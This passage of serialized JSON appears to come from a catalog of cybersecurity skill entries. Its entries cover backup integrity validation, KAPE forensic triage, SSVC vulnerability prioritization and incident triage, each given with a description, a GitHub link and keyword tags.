tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[175,178],{"categoryNo":176,"categoryName":177,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[163,180,181,182,183,27,184,185,157,186,187,188,189,190,191,192,193,194,195,196],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":204,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[203],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[205,206,207,27,208,209,210,211,212,213,214,215,216,217,218,219,160,220,221,222],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":230,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[229],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[231,232,233,27,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":251,"name":252,"nameZh":6,"description":253,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":254,"categories":255,"keywords":257,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[256],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[131,258,27,259,260,261,262,263,264,265,266,192,267,193,268,269,270,271,272,273],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]